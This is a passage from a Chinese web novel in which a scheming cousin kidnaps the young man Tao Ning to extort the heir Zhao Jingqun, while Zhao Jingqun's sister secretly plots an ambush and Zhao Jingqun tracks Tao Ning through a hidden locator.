曾经还是书香门第,从来没出现过把自己弄进局子里的,简直给祖宗和家主蒙羞, 还辜负了他们的期望。 激动之余,又口不择言说他再有本事,也还是改变不了被酒鬼养育后的劣根 挂掉电话后, 赵静群来了精神病院接受心理医生的治疗, 并且在此过程中, 慢慢撤掉了对陶柠的严密监视, 只让孙老二隔一周汇报陶柠的近况,并且是用文字的形式, 不能包括照片。 医生说,学会给予“他”尊重,是治疗的第一步。 赵静群想做个正常人, 因为他知道,陶柠不会爱上一个疯子。 蓝白相间的病服有些紧,赵静群随意扯开几颗扣子,把头闷在被子里,眼珠子一动不动感受棉被压在睫毛上的重量,眼前漆黑一片, 但他不敢把眼睛闭上,因为只要闭上眼睛,脑海中浮现的人一定是陶柠。 陶柠,陶柠,陶柠,陶柠陶柠陶柠陶柠陶柠陶柠陶柠陶柠陶柠陶柠陶柠陶柠陶柠陶柠陶柠陶柠陶柠陶柠陶柠陶柠陶柠 第一百一十四天,他想陶柠的第十六万四千一百六十遍。 忽然,刺眼的光线照射进来,被子让人掀开了,随后是一个十岁左右穿病服的小男孩,边流口水边“嘻嘻嘻嘻”地盯着赵静群。 赵静群没有去私立医院,所以他的病房是有病友的,就是这个掀开他被子的男孩,病症是先天性智力不足,也根本不怕赵静群。 眯起眼睛,赵静群毫不客气道:“滚。”从男孩手中抢回被子,继续闷住自己的头,刚翻了个身,被子又被人掀开了。 跟治疗同步的,是赵静群越来越阴晴不定的脾气,毕竟他从前的笑容开朗都是装出来的,真实的他如病例报告说的,天生心性凉薄的反社会人格障碍倾向。 他仅剩的人性全在陶柠身上,现在看不见陶柠了,还要接受痛苦的精神治疗,因此赵静群连装都懒得装了,更不用提所谓的同情心,哪怕只是对一个男孩。 正要动手揍人,却徒然看见孙老二惊恐至极的脸,赵静群的心猛地一抽,原本空洞漆黑的眼眸瞬间凌厉,“什么事?” “赵少,出、出事了” 心脏跳得越来越快,不好的预感也随之愈发强烈。甚至连呼吸都屏住了,赵静群沉默,随后突然暴怒道:“是不是陶柠出事了?!”伸手猛地拽过孙老二的衣领,眼珠子瞪着近在咫尺的脸,似乎想要从上面找出一点开玩笑的痕迹。 然而令赵静群心跳几乎停止的是—— 孙老二哭丧着脸,嘴唇哆嗦说:“嫂子、嫂子被赵义的人抓走了,他说说想跟您谈判” “你说什么?” 轰隆一声,赵静群觉得自己被这句话打入了严寒的地狱,从脚根到头颅都冻得想发抖,心跳也在这一刻静止,这段时日苦苦维持的理智假象顷刻间崩塌。 恐惧令他当场生理性干呕出来,狰狞的血丝瞬间爬满眼珠,看上去骇人极了。 看着赵静群不正常的行为,孙老二立刻跪下,大哭说:“赵哥、赵少,你弄死我吧,是我不小心没有看住嫂子,有个自称是他同学的人说要跟我商量事情,我以为嫂子短时间不会出事,结果就信了他的话结果你弄死吧,是我没有保护好嫂子,知道他是你的命还让他被赵义带走” 男孩虽然是痴傻,终究也是十岁的孩子,顿时被这个场面吓哭了,一时间,尖锐和愧疚的哭声同时响起,病房内的动静引起了医生的注意,进来想呵斥他们安静,却被赵静群的表情吓得说不出话。 医生形容不出那是怎样的表情,却在这个男人身上感受到了想要杀人的愤怒和近乎绝望的恐惧。 * 陶柠是被一盆冷水泼醒的。 冰冷的液体从浓墨描绘的眉眼滑入苍白的唇畔,浑身痛得像被蚂蚁啃食,还因为发热,脑袋里弥漫起一层雾。冷水淋到身上的那瞬间,一直昏沉的思绪被迫清醒了。 缓慢睁开眼睛,陶柠看到一张跟赵静群有两分像的面容,情不自禁呢喃道:“赵静群。” 但他很快反应过来,因为这张脸没有他熟悉的宠溺和痞气,只有半玩味半鄙夷的目光落在他身上,而且仔细看,他们长得一点儿也不像。 “赵义?” 赵义没想到陶柠会认出自己,露出嫌恶的表情,“没想到赵静群居然真是个恶心的同性恋,听我的人说你把他们甩开过,可惜最终还是被我抓到了。陶柠是么?有点小聪明,脸长得也还行,就是偏偏要和赵静群那种垃圾在一起。可惜啊可惜,跟他那种人在一起不会有好下场。你知道我把你找过来做什么吗?” 没有丝毫被激怒,陶柠目光平静,“不知道。” 余光却在观察四周的环境,发现这是一座已经废弃的大楼,他被绑在椅子上,周围都是抓他的那群人,有的正在巡视,还有的站在不远处虎视眈眈盯着他。 当看到一张瑟缩的脸也在里面时,陶柠愣了愣,而后者看到他醒来后,连忙低下头,就像生怕被人发现似的。只是陶柠已经认出他是谁了,刘玉良,那个造谣他作弊的人。 赵义冷哼,眼底突然迸发出刺入骨髓的仇恨,“凭什么赵家的公司以后会落在赵静群那个垃圾手里!他就是个社会的渣宰,谈吐、学识通透比不过我,根本不配做赵家的掌权人!如果不是当年赵家人找到他,赵静群一辈子就是个底层的垃圾,连给我提鞋的资格都不配,他不感恩戴德就算了,还敢跟我争掌权人的位置。而那个老东西就因为他是长孙就要把位置传给他,凭什么?!” 即使很多年过去了,赵义仍旧记得赵静群回来的那天。现在的家主名义上他称呼爷爷,但是赵义知道,他是被边缘化的旁系的孩子,他跟家主血缘关系很淡薄。赵家嫡系一脉后代寥寥无几,传到这一代,甚至只剩一支了,而到了孙子辈,竟然只剩赵静岁这个唯一的女孩,长孙在小时候被人拐走。 紧接着年龄最大的,便是旁系的赵义,不仅因为他是男性,而且他是旁系里最聪明的孩子,才有被接到主家当作下任掌权人培养的机会。所以七八年来,赵义都笃信掌权人的位置是他的。 直到赵静群回来。 得到消息时,赵义一颗心瞬间跌入谷底,花了好半晌时间才控制住得体的表情,身旁的人恭维他,说赵静群是被酒鬼养大的,找到他的时候还在收保护费,就是一个不折不扣的混混,即使现在回来了,又如何与他这样自小接受精英教育的天之骄子比呢? 因为这一番话稍微宽心,赵义去见了这个他名义上的哥哥。哭声遍布的别墅里,他见到了被人簇拥的少年——个子很高,没有看见亲生父母的激动,反而正笑着安慰周围的人。 可也如恭维赵义的人所说,赵静群是个头发染成黄色,脖子上还有纹身的混混,的确是个社会渣宰,赵义重重地松了口气。 似乎是感受到身后的视线,赵静群回过头,黄色的头发下,漆黑的眼眸朝他看过来,两只手随意插在裤兜里,歪着头笑,“你是谁?” 赵义挤出一抹和气的微笑,“大哥,我是你的弟弟赵义” “啊——”结果他看见这个他眼里的混混夸张地发出声,并困惑道,“爸妈,你们生下静岁后,又给我生了一个弟弟么?怎么没跟我说过,我小时候应该也没见吧。” 赵家的人都知道他的身份,现在宝贝长孙回来了,以后哪儿还会有他的位置?尴尬的气氛瞬间蔓延,赵义再也维持不住脸上的笑,浑身都在因羞愤微微发抖,仇恨的种子至此生根发芽。 事后,赵静群走过来,好兄弟似地拍了拍他的肩,漫不经心着说:“开玩笑呢弟弟,因为我看你讨厌我,所以帮你一把啊,这样就不用勉为其难装作接受我的样子了。” 让一个被自己瞧不起的混混轻而易举看穿内心,赵义既痛恨又无地自容。自那以后,他和赵静群之间的矛盾越来越深,最后到了水火不容的地步,因为这期中的导火索,便是赵静群成长的速度太恐怖了。 短短几年时间,便从大字不识几个的混混,成长到有真材实料的豪门少爷,凡事家主给予的资金项目,赵静群都能超额完成,旗下有好几个运营优秀的公司。即使被他设计前往缅北那种战乱的地方,都能完好无损把货带回来,甚至让一些有偏见的老顽固都心服口服。 每每想到这些,赵义便嫉妒和恨得要命。直到无意间得知家主有意把位置传给赵静群后,心底酝酿的多年的恨终于爆发了。 他派了很多人去寻找能扳倒赵静群的东西,结果一无所获,甚至有些接近赵静群的,差点被弄成残废。而某一天,赵静群突然跟家主说想去海外做些生意,自那以后赵义的人便失去了他的踪迹。 直到前不久,有个电话打过来,嗓音温柔告诉他:“赵静群在海州。” 第96章 第 96 章 糟了 “谁?” 赵义不信任这通电话, 因为听声音不是他熟悉的人中任何一个,但明知他与赵静群关系不和的情况下还打过来这通电话,目的自然是挑起战火, 而这个人最终是否因此获利? 他不得而知,赵义也不想成为替别人做嫁衣的鹬蚌。正要结束通话, 对面却“咯咯”地笑起来,声线经过听筒, 有一种不真切的蛊惑感。 片刻,笑声停止了:“你不是一直在找他的软肋么?去海州,他会给你一个大惊喜。”说完, 不等赵义回话,电话就挂断了。 最终想要将赵静群驱逐出去的想法占了上风,赵义还是秘密派人去海州打探消息, 如这通神秘电话所说, 令他异常惊喜的是, 他找到了赵静群的软肋—— 便是眼前这个衣服上浸透血液, 看起来能一只手捏死、毫无反抗力的少年人,陶柠。 当下面的人找到赵静群的踪迹, 并且顺藤摸瓜发现陶柠时,赵义的心都在激动地发抖,因为消息里说, 赵静群每日与陶柠成双成对出入,两人相处异常亲密,疑似情侣关系。 有心腹认为这种消息不可靠,觉得赵静群那样冷血的人不可能会在夺权期间留下隐患,还是个男的。 刚开始赵义也存疑,直到派过去的人发来一张高清照。照片里的赵静群正给少年整理头发, 两人既没有情侣间惯常的接吻更没有拥抱,看不出多少亲密互动。 如果换作旁人来看,只会觉得他们是普通的朋友。 但赵义跟赵静群斗了那么多年,只看了一眼,就认定他们之间不为人知隐秘而晦涩的关系了,因为那是赵义第一次见赵静群那副乖张凉薄的面具上露出温柔,仅仅是一个整理头发的动作,眼睛里便流露出太多爱意。 这件事既让赵义恶心,也让他狂喜。因为光是这一点,就足以致赵静群死地!等了那么多年,他终于可以威胁甚至扳倒赵静群了。 不知道嚣张了那么多年的赵静群后悔和痛苦起来会是什么模样?赵义非常期待,因为那一定是精彩痛快至极的画面。 从回忆里抽离思绪,如秃鹫般的视线缓缓落在被绑在椅子上的人,赵义的手勾起陶柠的下巴,仔细打量,近距离看这张面容,不得不承认,这真是一张被造物主偏爱的脸蛋。 即便此时这人被绑在椅子上,少年人的身躯下已隐约露出几分青年人的颀长,血液浸透了衣衫,晶莹的水珠一点一点自乌发垂下,停在浓密纤长的眼睫上,而后像是承受不了这些玉珠的重量,化作泪水从苍白的脸颊滑入指缝间。 惊心动魄、像蝴蝶被折断翅膀的美貌——可当这双眼睛抬起来时,比美貌更令人心惊的,是眼眸中经湖水洗涤后的平静,仿佛无人能撼动其波澜。 饶是利益熏心的赵义,眼中也不由得闪过一丝惊艳,但很快,这抹惊艳便被恶心代替,因为这样的目光让他不禁想起了赵静群。 那个垃圾每次看过来的目光也是如此,分明是个最底层的垃圾,还整日嬉皮笑脸,偏偏看人的目光总带着轻蔑与嘲弄,就好像没有把任何人放在眼里。 凭什么?他赵静群凭什么?! 赵义憋着怒火,倏然收回手,冷笑道:“不知道也好,要怪就怪赵静群那个渣宰动了他不该动的东西,而你,就自认倒霉被他看上。我费尽功夫把你请到这儿来,当然不是来好茶好饭伺候你的。等会我会给赵静群打电话,你——” 他靠近面前自始至终镇定的人,露出轻视的笑容。“老老实实告诉他,让他把名下所有的股份和项目书全部转交给我,三天后,我要看到那些法律背书过文件。否则就让他等着去楼下给你收尸。” 说话间,陶柠已经被他从椅子上拽了起来,赵义推着他来到天台边缘,周围满是废弃的消防栓和建筑材料,陶柠步伐踉跄,上半身被赵义强行压在老旧的栏杆上,迫使他看清四周。 他们正处在一处荒野,看环境应当是偏僻的城郊,十五层楼几十米的高度令人头晕目眩,地上所有的东西变得无比渺小,光是站在栏杆边缘,就足够让双腿发抖了。而阳光刺眼的光线照在这栋死寂般的废弃大楼,竟然无法感受到温度,只有刺骨的寒冷。 因为失血过多,加上悬在高空之中,陶柠已经冷汗涔涔,领子被人拽了回去。他已经能从赵义口里的信息拼凑出一个完整的故事了,赵静群曾经跟他说过小时候,他生于富贵之家,但儿时被人贩子拐卖,生活很不好过,被迫去收的保护费,后来才被赵家的人接回去。 这个赵义应当是觉得赵静群回到赵家后夺走了他某些东西吧。所以怀恨在心,以至于要求他跟赵静群说准备那些文件。 喉间忍不住轻哼了一声,陶柠再次被绑到冰冷的铁椅上时,淡淡说:“你觉得赵静群会为我放弃那么多利益?为什么?你从哪里得到的消息?” 他看向躲在人后的刘玉良。 “从刘玉良那里?那你应该是误会了,他一直看我不顺眼,甚至造谣过我,现在还帮你们把我抓到这里来,可见我跟他的关系之差。一个跟我有仇不了解我生活的人,你相信他说的话?赵静群之前因为旅游来我家寄住过,后来我在海州读书偶然遇到他,一来二去成为了朋友,仅此而已如果你觉得我能说动他放弃经营多年的财富,属实是高看我了。” 见赵义逐渐皱起眉头,表情有一丝松动之色。陶柠继续道:“如果你不信刘玉良和我有仇,可以去问奥克森特的教务处,他们知道整个过程。” 赵义看向躲在人群后跟鹌鹑似的刘玉良,感受到四面八方来的视线,连忙嗫嚅道:“我我没有我没有!” 其实刘玉良已经开始后悔了,说到底他只是一个普通的学生,从来没见过这种绑架甚至杀人的事情,前段时间他因为被奥克森特劝退充满不甘和愤怒,他把所有愤恨暗自发泄在陶柠身上,觉得如果不是陶柠,他就不会被劝退,他还是那个被众心捧月的好学生。 所以一切都是陶柠的错!! 就在刘玉良跟踪陶柠,想办法怎么报复他时,在奥克森特附近的一家店,他无意间听到了这些人的交谈,在讨论该如何不动神色抓到陶柠。那时候刘玉良知道,他的机会来了。 抱着一定要给陶柠一个教训的恨意,刘玉良站出来说:“我知道怎么抓到他。” 因为长时间跟踪,刘玉良发现陶柠身后竟然还有人暗中保护,所以他想方设法策划了一个办法,便是他穿上还未收回的奥克森特校服去接近那个人,拖延时间,而那些人则想办法把陶柠引开。 刘玉良单纯以为陶柠得罪了混混,所以这些混混想抓住他教训一顿,但是直到现在,他才发现事情远不止这么简单,这些人竟然想要陶柠的命!他只是想让陶柠得到教训,不是想要他的命啊,如果他做了违法犯罪的事,这辈子都会毁了 他开始害怕恐惧了,所以从头至尾连头都不敢抬起来。现在听到陶柠把他指出来,刘玉良吓得语无伦次,“我没有我真的没有” 看刘玉良一副怂包样,赵义目露鄙夷,忽然反应过来,冰冷的视线重新落在陶柠身上,“你是在拖延时间?我警告你,不要耍什么花样。” “我只是告诉你事实。”陶柠说,“如果你不信,还可以问一个人。” “”赵义冷冷地看着他,但没有让他闭嘴。 “赵静岁。” 陶柠说:“赵静群去我家乡旅游时她也在场,你可以去问她,我跟赵静群只是普通朋友。”好在他们在黄檬村对外相处时非常隐蔽,而赵静岁跟他们接触不多,应当不会知道那段关系。 即使知道了,赵静岁是赵静群的亲妹妹应该不会说出来。突然之间,像是抓到了一丝灵光。 陶柠心想,糟了。 果不其然,赵义脸色忽然一变,他似乎也是想到了什么,在陶柠有些紧绷的目光下,拨通了一个电话,电话铃声响了几下,接通了。 电话那边响起一个温和的女声,听声音会觉得对方是个温柔柔弱的少女。“哥哥,怎么了?” 赵义开门见山问:“那通电话是不是你打来的?赵静岁,你最好实话实说。” 对方沉默了一会儿,然后从电话里传出来一阵清脆悦耳的笑声,“赵义哥,你真聪明,居然猜到了,怎么样?我给你的惊喜还满意么?”只是这番话怎么听都不像恭维,尤其是提到‘聪明’两个字时,说不出来的嘲讽。 赵义当即怒道:“赵静岁你他妈敢利用我?!” 赵静岁轻笑一声,语气依旧温柔,“怎么会呢哥哥,祝你好运。”挂断电话后,手机收到一条短信和几张图片。 [小姐,赵义要求赵静群三天之内准备好文件,具体时间还在待定。这些都是陶柠被绑在椅子上的图片。] 她挑起一边柳眉,回复:[很好,提前让人埋伏在路上,得手后不管用什么办法都要伪造成赵义做的。] 对方有些迟疑回复:[小姐,如果赵义突然将您供出来怎么办?] 见到这条短信,赵静岁本不想理会,但因为今天心情很好,便耐心回复道:[放心,他那人好面子,不会说的。就算说了,我也只是告诉他赵静群在海州啊,而且那时候也来不及了。] 她可是一介弱女子,也毫不知情。怎么能怪她呢? 这些做完后,赵静岁不动声色给赵静群拨打电话,接连打了好几个,意料之中没有打通。她转头给孙老二发过去短信:[孙大哥,最近赵义哥问我静群哥在哪里,我告诉了他,你们吵架了吗] 发完后,赵静岁微微笑了起来,只是笑不达眼底,甚至冰冷没有起伏。就在这时,旁边扑过来一个人,抱着她的胳膊不满道:“我们又来海州做什么?这里又不好玩,无聊死了。” 赵静岁瞬间收敛所有冰冷的情绪,无奈叹了口气,摸了摸何年年柔顺的头发。 看着她单纯娇憨的面容,眼底燃起几分温度,弯了弯眼说:“带你看一场戏啊。好啦,我们去吃饭吧。”想了想,补充一句:“这段时间不要乱跑,跟紧我。 “啊?为什么?” 赵静岁微笑:“怕你走丢了。” 第97章 第 97 章 卑微到像一条狗 重症监护室外, 孙老二从来没见过这样状态的赵静群——胡茬迅速长满下巴,黑眼圈浓重,因为一天一夜没合过眼, 两颊的肉向内凹陷,曾经周身游刃有余的气息荡然无存, 一米九的个子如山般倾倒。 看起来像整个人像魂魄被抽走了,只剩一具驱壳站在这里, 仅有脸上那双空洞且充满血丝的眼球证明他还活着。 孙老二毫不怀疑,如果再收到一点关于陶柠不好的消息,这个以往顶天立地的男人, 会彻底崩溃掉。他甚至产生了陶柠若是死去,赵静群一定会殉情的恐怖想法。 被这个想法吓得哆嗦,同样深深的愧疚感同样也裹挟着孙老二, 急忙哽声劝道:“赵哥, 回去休息休息吧, 您的状况太差了。徐隽被打成那样, 一时半会离不开ICU的,而且就算他醒了也、也许” 也许也不会有与陶柠踪迹相关的线索。 只是这种话对现在的赵静群来说太残忍了。 孙老二想起那天说出这件事后, 赵静群先是迅速冷静下来,然后以极快的速度报警,他自己不能离开海州, 因为他现在还处于被警察监视的期限内。 报完警后,赵静群开始给赵义拨打电话,但是无论打过去多少个,都会被对方挂掉,甚至到了最后,还有一条挑衅的消息:[你急什么?] 额头的青筋一根接一根绷起, 赵静群双目猩红,用了平生最大的意志力,才没有回复中对方的圈套。因为一旦他表现出焦急和对陶柠的担忧,以赵义睚眦必报的性格,这次绑架勒索绝不会轻易结束。 他恨!恨自己无能!!恨自己废物!!!恨自己为什么没有保护好陶柠!!!! 如果陶柠出事不,陶柠绝不会出事。 赵静群连呼吸也开始颤抖,只是从外表看,他非常镇定,就像只是在处理一件棘手的事。可只有他自己知道,随便再来一点风吹草动,他就要承受不住了。 而这点风吹草动,便是徐隽被送入重症监护室。医生说:“患者全身多处骨折,肝脏和脾脏等重要脏器破裂出血,腹部被利器划伤,目前已经出现失血性休克症状,还好送来医院及时,手术后患者还面临感染和其他重大风险,需要在重症监护室密切观察。” 这个消息让赵静群眼前一阵发黑那他的宝贝呢?他的陶柠呢?现在又是什么样子? 他简直要疯了啊。 恐惧和担忧化作痛苦的折磨,赵静群一天一夜未眠,手下的人倾巢出动去找陶柠的下落,还有一部分人在四处搜寻赵义的踪迹。 “赵哥!小姐发消息过来了,她最近和赵义有联系”就在这时,孙老二看到了手机上的消息,心头一喜,连忙把消息界面举给赵静群看。 下一瞬,手机被赵静群夺走,毫不犹豫打电话过去。电话拨通的瞬间,赵静群直接了当问:“赵义在哪儿?” “静群哥?”对面似乎被赵静群冷冰冰的质问吓到了。 强迫自己冷静下来,赵静群深深地吸一口气,他本来就对这个亲生妹妹没有感情,平时友善相处的模样都是在赵家人面前装的。现在碰到关乎陶柠生命安全的事,他没有任何心情再装下去。 “我再问一遍,赵义在哪儿?让他妈给我滚出来!”到了最后,赵静群几乎是低吼出声。 “你什么态度啊?!岁岁”电话那头突然出现另一道声音,却被赵静岁迅速打断了,语气还有一丝不稳,“我没事,你先出去。” 赵静群眯起眼。 过了会儿,赵静岁温柔的声音接着响起,“哥哥,发生什么事了?只是前段时间赵义哥问我你在哪里,想找你吃饭,所以我跟他说了你在海州哥哥,你们吵架了吗?” 她温声细语劝道:“我们是一家人,虽然相处时难免会有摩擦,但也改变不了我们血缘里的羁绊,未来我们兄弟姊妹也要依靠家人互相扶持。静群哥,你和赵义哥都是我的哥哥,看到你们闹矛盾,我心里很难受,要不改日我们一起吃顿饭” “够了,我现在没心情听你演戏。”赵静群不耐烦了,直接打断她。 回到赵家后,只跟赵静岁接触了一两天,赵静群就知道自己这个亲生妹妹是个什么样的性格了,该说不说,他们不愧是亲兄妹,骨子里都是黑的。但是碍于赵父赵母的面子,还有赵静岁所说的亲缘关系,所以赵静群才没有像揭穿赵义一样揭穿她。 但这并不代表在他宝贝命根子不见了的时候,还有心情陪她演戏。 显然没想到赵静群是这种反应,电话那边沉默了会儿,片刻有些幽幽地哽咽道:“我不知道赵义哥在哪儿” 心底燃起的希望瞬间又断了,赵静群脸色苍白,正要挂掉电话,对方忽然一顿,装作惊吓道:“哥哥哥!赵义哥给我发短信了啊!!” 她尖叫一声,似乎看到了极为恐惧的东西。 “给你发什么了?!”攥住手机的五指陡然一紧,赵静群低吼,“快说!” 赵静岁泣不成声,快要说不出话来:“是是和陶柠有关的” 这句话让赵静群天旋地转,如果不是孙老二及时扶住,他已经倒在地上了。过了很久,赵静群才抖着手点开照片—— 照片上的人被绑在冰冷的铁椅上,上半身被鲜血浸透 ,甚至还有血液顺着左手腕的腕表向下流淌,原本璀璨的表盘被刺目的鲜血遮盖。而他最珍爱的宝贝,垂着头,露出仿佛濒死的天鹅后颈,生死不明。 一声像野兽绝望的哀嚎发出喉咙,怒急攻心,赵静群吐出一口心头血。 * “我不管你和那个垃圾究竟是什么关系,现在立刻按照我说的做。如果敢耍一丝一毫花样,我绝对让你见不到明天的太阳。” 赵静岁那通意味不明的电话后,赵义彻底失去了耐心,而且他隐隐约约有种不好的预感,想要速战速决。不耐烦地拨通赵静群的电话,放到陶柠的耳边。 电话只响了一秒就接通了。 最开始陶柠没有说话,直到电话那头艰涩的声音打破了死寂,“陶柠,是你吗?” 这个熟悉的声音一响起,多日来强行忍住的疼痛和委屈像潮水包围了陶柠,迅速低下头,不想让赵义看见红了的眼眶。陶柠努力咽下钻到喉间的恐惧,装作平静回应: “嗯。” 只听到一个音节,电话那头便陷入了长久的沉默,没有人知道,赵静群此时此刻在想什么,更没有人体会他此时此刻的心情。 而就在赵义要失去最后的耐心时,对方问:“赵义,告诉我你想要什么。” 仅仅一句话,赵义知道自己赌赢了,如果不是时机不对,他真想大笑出声。哈哈哈哈哈哈哈!这个不可一世的垃圾真的爱上了一个男的!他竟然也会爱人!还因为这个男的卑微到像条狗一样来求他! 好笑!太好笑了!! 赵义实在忍不住笑出声,那张精明算计的脸充满了嘲讽和痛快。“他的命如今在我手里,赵静群,你说我想要什么?如果拿来交换的东西到时候我不满意,你傍家的命就没了,赵大公子,你可得想清楚。” “赵义,我记得平时在家没跟你作对过,你就那么恨我?” 提起这个,赵义就恨得咬牙切齿,多年来被人跟赵静群做对比,明里暗里打压、讽刺他的声音通透浮现在眼前,顿时怒不成声道:“你跟那些狗眼看人低的老东西没有区别!都是因为你的出现,我的地位才一落千丈,那些公司项目还有掌权人的位置原本都是我的!你不配也没有资格抢走!” “爷爷,爸妈都很关心你,要是让他们知道你走到这一步,该多痛心啊。”赵静群的声音听不出起伏。 然而这一话,彻底激起了赵义的怒火。 “放屁!” 赵义破口大骂:“他们跟你这种垃圾一样虚伪!明明我样样做的比你好,从小到大我名校出身,履历优秀,他们让我做什么我便做什么,每一件事我都出色完成,甚至还替那个老东西挡过刀子可自从你回来后,一切都变了。他们嫌弃我的出生嫌弃我的父母,经常拿我跟你做对比,觉得我十多年的努力比不上你短短四年的时间,但这怎么可能?!你除了投胎比我好,其他哪一样比得过我?” “所以赵家的公司、掌权人的位置原本就属于我!”赵义激动道,“我只是在你那里拿回属于我自己的东西,你还不够格让我恨” 电话那头一直沉默,直到赵义说完,片刻,那头的声音似乎有些歉意,“我不知道你是这么想的,如果当初你早点告诉我,或许我们可以坐下来好好解决。” 赵义冷笑,“晚了,这件事没有商量,”说完冷冷地看向陶柠,示意他按照之前说的做。 赵静群根本不像会跟他聊这些的人。除非陶柠垂眸说,“我忘记了。” “你!”赵义瞬间把之前觉得这人还算聪明的想法推翻了,目露鄙夷,正要开口再说一遍,结果就在这时,有个人跌跌撞撞闯了进来,神色惊恐道:“老板!老板出事了!” “警察来了!我们、我们被包围了” “你说什么?!”赵义彻底反应过来了,妈的!刚才那渣宰在拖延时间!可是这件事的消息他没有透露给任何人,赵静群是怎么找到这里的? 难道是赵静岁那个贱人说的?不、不可能!她也不知道位置 而此时另外一边。 在何年年撒泼打滚式的撒娇攻势下,赵静岁败下阵,带何年年离开酒店去街上逛逛,只是这期间再三叮嘱她绝不能离开自己的视线范围。 “岁岁,你最近是不是不舒服啊?包不买了,衣服也不跟我一起买了,还总是宅在家里不出来,现在好不容易出来一趟,又弄得神神秘秘的” 人群熙熙攘攘中,何年年嘟起嘴,神情非常不满,双手叉腰,质问心不在焉的赵静岁。 “有么?”赵静岁回过神。 她只是在心里盘算时间,距离把混淆视线的照片和错误的地点发给赵静群后有一段时间了,如果不出意外,这时候她的人应该开始动手了。但她心底总有些不明所以的不安,而赵静岁一向相信自己的第六感。 “抱歉年年,我有点事情,先等我一下。”赵静岁安抚何年年,为了确保计划进行,她决定还是时刻盯着。 打开手机,而恰巧此时,赵静群微微睁大眼,因为下属接连发来好几条短信: [小姐,不知道什么原因,赵静群没有上钩。] [大事不好了!赵静群和警察把赵义包围了] [小姐,我们该怎么办?] …… 赵静岁心头一惊,鬓角隐约渗出冷汗。为什么会这样?依她对赵静群的了解,只要碰到和陶柠有关的事,他就会变成被蒙蔽心智的蠢货,不可能不会上钩。 冷艳温柔交织的一张脸瞬间变得难看,但只过了几秒,赵静岁便稳住心神,思索究竟是哪里暴露了她,不过没关系,就算这件事查到她身上,她也可以全部推到赵义身上。 只要赵义死了 赵静岁的眼眸闪过阴狠,指甲修剪整齐的手快速敲下一行字:[立刻把有关我的消息销毁掉,然后砸烂手机,事后我会去你家探望你的一双儿女。] 消息发送后,赵静岁恢复了温柔的神色,熄灭屏幕,可一抬头,却发现刚才还站在她面前叽叽喳喳的女孩儿不见了!只剩拥挤的人群和不绝于耳的车辆喇叭声。 “年年?年年你在哪儿?——何年年?!” 一颗心瞬间跌入谷底,赵静岁的脸上终于露出慌张的表情,开始不顾形象四处呼喊。周围的人奇怪地看向这个大喊大叫的长发少女,有人想趁机上前搭讪,却差点被她扇了一巴掌。 “滚。”赵静岁身形高挑,不笑的时候看不出一点温柔的迹象,杏眼睥睨时给人一种被毒蛇盯上的凉薄和寒意。 搭讪的人脖子往后一缩,骂骂咧咧离开了。 为了这次谋杀的计划顺利进行,赵静岁把手底下的人全部派过去围剿赵静群了,所以她身边没有保镖,如果何年年落在了坏人手里,赵静岁不敢想象 足足过了十分钟,一颗慌了神的心才冷静下来,对了,手机!那个笨蛋手机不离手的!赵静岁连忙打开通讯录,给备注“笨”的人打过去电话。 过了一会儿,对面接通了。赵静岁彻底压不住怒气,第一次对她发火:“你跑哪儿去了?知不知道外面有多危险,你” “二小姐,是我啊。” 对面沉声打断她。 第98章 第 98 章 殉情 赵静岁险些没拿稳手机, 声音提高了一个度:“孙大哥?!” 年年的手机怎么会在孙震手里?他现在不是应该跟着赵静群去“救”陶柠么? 担忧、困惑如流水划过,但赵静岁很快冷静下来,明眸流转, 惊讶问:“孙大哥,你是捡到年年的手机了吗?我带她来海州想找哥哥吃饭, 结果不小心和她走失了,你见过她么?” 这下子, 孙老二再也没办法心平气和,怒斥道:“二小姐,求您别再装了!赵哥已经全部知道了” 赵静群回到赵家后, 又把他带回赵家做帮手,对他有知遇之恩。那时候孙老二也连带着见了赵家那位传闻中大家闺秀典范的二小姐,确实是个难得一见的美人, 站在一群黑衣保镖之间, 柳眉白裙, 笑意温柔婉转。 因为过去在社会最底层混过的关系, 赵家人背地里是看不起孙老二的,所以即使他是赵静群得力的助手, 也没有多少人会搭理他。 只有赵静岁主动站出来,笑着说:“是孙震哥吧,既然是哥哥的好朋友, 从此以后,你也是静岁的哥哥了。” 孙老二的脸涨成了猴子屁股,支支吾吾摆手:“小小姐,您太瞧得起我了,我就是个给赵哥打杂的” 他已经忘记赵静岁后面说了什么话,只知道自那以后, 赵静岁总是“孙大哥”长“孙大哥”短,无论多长时间也没有改口。 可现在究竟发生了什么事,让那样一个温柔的姑娘变得如此心狠手辣?犹记得前不久收到赵静岁发来的照片,赵静群当场吐血,孙老二吓得大惊失色。 就在他以为赵静群要倒下的时候,男人却擦掉嘴角的血,没有哀莫大于心死的表现,反而像是劫后余生,勾起一抹狂喜且诡谲的笑,嘴角沾着猩红的血液。 他指着那张照片说:“柠柠的手表还在,里面有我装的定位器。” 孙老二当时的脸色可以说五彩纷呈,不知是为找到陶柠这个消息而惊喜,还是替陶柠这辈子竟然会被这种变态缠上感到毛骨悚然。 等通过定位器找到陶柠的位置后,孙老二惊讶地发现,刚好与赵静岁发来的位置相反,但天下真的有那么奇怪且巧合的事情吗?孙老二有了一个可怕的猜测,但他不敢提,只是试探问:“赵赵哥,我们该选哪条路,要不我看小姐发过来的位置” 听到这话,已经几天没合过眼的男人冷笑了一声。 孙老二在他的目光里看到了一点怜悯,赵静群说:“孙震啊,一个人最容易犯的错误就是被外表迷惑,还死不肯承认。从你认为赵静岁是好人的那刻起,你就掉进她的陷阱里了。” 他细细摩挲屏幕上闪着光的红点,仿佛透过屏幕注视所爱之人。赵静群低笑出声,话锋从叹息陡然变得阴森可怖:“敢拿陶柠作威胁我的筹码,她和赵义两个人就要做好死的准备。” 拿起沙发上的风衣,赵静群大步迈出医院,却在离开前时忽然回头,窗外的斜阳映照他深邃的面容,透着比赵静岁更甚的宛若厉鬼的凉薄。 “想办法把何年年抓走,她不是喜欢用这种招数么?如果把何年年的胳膊和那张嘴卸下来送给她,赵静岁的表情一定很有趣。”赵静群歪着头笑,“孙震,记得告诉她——” “妹妹,你想跟我斗,简直蠢上加蠢。” 话都说的那份上了,孙老二还有什么不明白的,他不死心还是派了几个人去走赵静岁发过来的那条路,果然发现了大量埋伏,去后绝对死无葬身之地。 最后的期待破灭了,孙老二不知道自己是怀着一种怎样的心情抓到何年年,然后跟他印象中颠覆形象的赵静岁说话的,他感到痛心与不解。 “二小姐,赵哥他从未伤害过您您为什么要这么做?” 电话那头沉默良久,原本温柔的语气一点一点变冷,“我听不懂你在说什么。”说完,就要挂断电话。 